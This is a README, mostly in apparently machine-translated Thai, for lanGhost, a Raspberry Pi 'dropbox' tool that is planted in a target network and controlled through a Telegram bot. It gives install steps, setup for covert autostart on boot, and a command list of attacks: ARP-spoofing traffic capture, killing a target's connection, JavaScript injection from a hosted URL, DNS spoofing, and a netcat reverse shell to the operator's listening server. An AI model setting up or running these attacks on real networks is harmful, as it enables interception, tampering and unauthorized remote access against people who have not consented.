langhost
1.0.0
Langhost ได้รับการออกแบบมาสำหรับ Raspberry Pis ( Raspbian / Kali สำหรับ RPI ) การทำงานบน distros อื่น ๆ/เดสก์ท็อปอาจทำให้เกิดปัญหาและอาจไม่ทำงานตามที่ยกเว้น
คุณจะต้องมี ราสเบอร์รี่ Pi พร้อม Raspbian/Kali สด บนการ์ด SD เพราะคุณไม่ต้องการให้มีอะไรทำงานอยู่เบื้องหลัง
บูต PI รับ SSH ขายหรือเชื่อมต่อจอภาพและแป้นพิมพ์และป้อนคำสั่งเหล่านี้:
$ sudo apt update && sudo apt install python3 python3-pip
$ git clone https://github.com/xdavidhu/lanGhost
$ cd lanGhost
$ sudo ./setup.py
โปรด อ่าน คำถาม/ข้อความในขณะที่เรียกใช้สคริปต์การตั้งค่า!
[+] Please enter the name of the network interface connected/will
be connected to the target LAN. Default wired interface is 'eth0',
and the default wireless interface is 'wlan0' on most systems, but
you can check it in a different terminal with the 'ifconfig' command.
[+] Please create a Telegram API key by messaging @BotFather on Telegram
with the command '/newbot'.
After this, @BotFather will ask you to choose a name for your bot.
This can be anything you want.
Lastly, @BotFather will ask you for a username for your bot. You have
to choose a unique username here which ends with 'bot'. For
example: xdavidbot. Make note of this username, since later
you will have to search for this to find your bot, which lanGhost
will be running on.
After you send your username of choise to @BotFather, you will recieve
your API key.
[+] Now for lanGhost to only allow access to you, you need to verify yourself.
Send the verification code below TO THE BOT you just created. Just search for your
bot's @username (what you sent to @BotFather) to find it.
[+] Verification code to send: ******
[+] Do you want lanGhost to start on boot? This option is necessary if you are using
this device as a dropbox, because when you are going to drop this device into a
network, you will not have the chanse to start lanGhost remotely! (autostart works
by adding a new cron '@reboot' entry)
ไม่แนะนำให้ ใช้ Langhost บนเครือข่ายที่ใหญ่กว่า /24 เนื่องจากการสแกนจะใช้เวลานานเกินไป
Langhost ไม่เงียบ ใครก็ตามที่ตรวจสอบการจราจรสามารถเห็นแพ็คเก็ต ARP!
หากคุณเลือก yes ที่ step 4/4 (autostart) PI จะตั้งค่าอย่างสมบูรณ์สำหรับการลดลง Langhost ควรเริ่มต้นในการบูตและส่งข้อความถึงคุณทางโทรเลขพร้อมข้อความ: lanGhost started! ? -
ตรวจสอบให้แน่ใจว่าได้ลองใช้ในห้องปฏิบัติการของคุณก่อนและทดสอบว่า Langhost ตอบกลับข้อความของคุณ!
หากคุณพร้อมให้บริการเพียงเชื่อมต่อกับเครือข่ายเป้าหมายโดยเสียบสายเคเบิลอีเธอร์เน็ตเข้ากับ PI และเชื่อมต่อพลังงานผ่าน Micro USB และคุณพร้อมที่จะไป!
(Langhost ยังสามารถทำงานผ่าน WiFi ได้ แต่คุณจะต้องตั้ง wpa_supplicant เพื่อเชื่อมต่อกับเครือข่ายโดยอัตโนมัติก่อน)
/scan - Scan LAN network
/scanip [TARGET-IP] - Scan a specific IP address.
/kill [TARGET-IP] - Stop the target's network connection.
/mitm [TARGET-IP] - Capture HTTP/DNS traffic from target.
/replaceimg [TARGET-IP] - Replace HTTP images requested by target.
/injectjs [TARGET-IP] [JS-FILE-URL] - Inject JavaScript into HTTP pages requested by target.
/spoofdns [TARGET-IP] [DOMAIN] [FAKE-IP] - Spoof DNS records for target.
/attacks - View currently running attacks.
/stop [ATTACK-ID] - Stop a currently running attack.
/restart - Restart lanGhost.
/reversesh [TARGET-IP] [PORT] - Create a netcat reverse shell to target.
/help - Display the help menu.
/ping - Pong.
คุณสามารถเริ่มการโจมตีโดยใช้หนึ่งในคำสั่งเหล่านี้: /kill, /mitm, /replaceimg, /injectjs, /spoofdns
คุณมีการโจมตีอย่างน้อยหนึ่งครั้งคุณสามารถใช้คำสั่ง /attack เพื่อรับรายการของพวกเขาที่มี ATTACK-ID
เพื่อหยุดประเภทการโจมตี /stop [ATTACK-ID]
/reversesh เพียงทำการเชื่อมต่อ NetCAT TCP ซึ่งไม่ได้เข้ารหัสและสามารถตรวจสอบปริมาณการใช้งานได้! ใช้เฉพาะสำหรับการแก้ไขฉุกเฉินหรือสำหรับการตั้งค่าการเชื่อมต่อย้อนกลับที่เข้ารหัสหากจำเป็น
คำสั่ง /reversesh มีไว้สำหรับการได้รับเชลล์ย้อนกลับบน PI เมื่อไม่สามารถเข้าถึงได้จากภายนอก
ในการใช้คำสั่ง /reversesh คุณจะต้องมีเซิร์ฟเวอร์ฟังเชลล์
คำสั่ง netcat เพื่อเริ่มต้นฟังบนเซิร์ฟเวอร์ของคุณ:
$ nc -l 0.0.0.0 [PORT]
คำสั่งโทรเลข:
/reversesh [IP-of-your-listening-server] [PORT]
/kill - หยุดการเชื่อมต่ออินเทอร์เน็ตสำหรับเป้าหมาย/mitm - จับการรับส่งข้อมูล HTTP และ DNS จากเป้าหมายและส่งในข้อความ/replaceimg - แทนที่ภาพ HTTP สำหรับเป้าหมายไปยังรูปภาพที่คุณส่งไปยังบอท/injectjs - ฉีดจาวาสคริปต์ลงในการตอบสนอง HTTP HTML ทุกครั้งสำหรับเป้าหมาย คุณต้องโฮสต์ไฟล์ JS บนเซิร์ฟเวอร์ของคุณและให้ URL เป็นพารามิเตอร์/spoofdns - การสวมรอยการตอบสนอง DNS สำหรับเป้าหมายการโจมตีทั้งหมดใช้ การปลอมแปลง ARP !
/scan - สแกนเครือข่ายท้องถิ่นและส่งคืนโฮสต์ออนไลน์ ใช้การสแกน nmap -sn เพื่อค้นหาโฮสต์/scanip - สแกนที่อยู่ IP สำหรับพอร์ตเปิดและข้อมูลอื่น ๆ ใช้การสแกน nmap -sSคุณจะได้รับข้อความทุกครั้งที่อุปกรณ์ใหม่เชื่อมต่อ/ออกจากเครือข่าย
ลิขสิทธิ์ (C) 2018 โดย David Schütz สงวนลิขสิทธิ์
Langhost อยู่ภายใต้เงื่อนไขของใบอนุญาต MIT ตามคำชี้แจงทั้งหมดที่ระบุไว้ในไฟล์ใบอนุญาต นอกจากนี้คุณยังสามารถไปข้างหน้าและส่งอีเมลถึงฉันได้ที่ xdavid {at} protonmail {dot} com
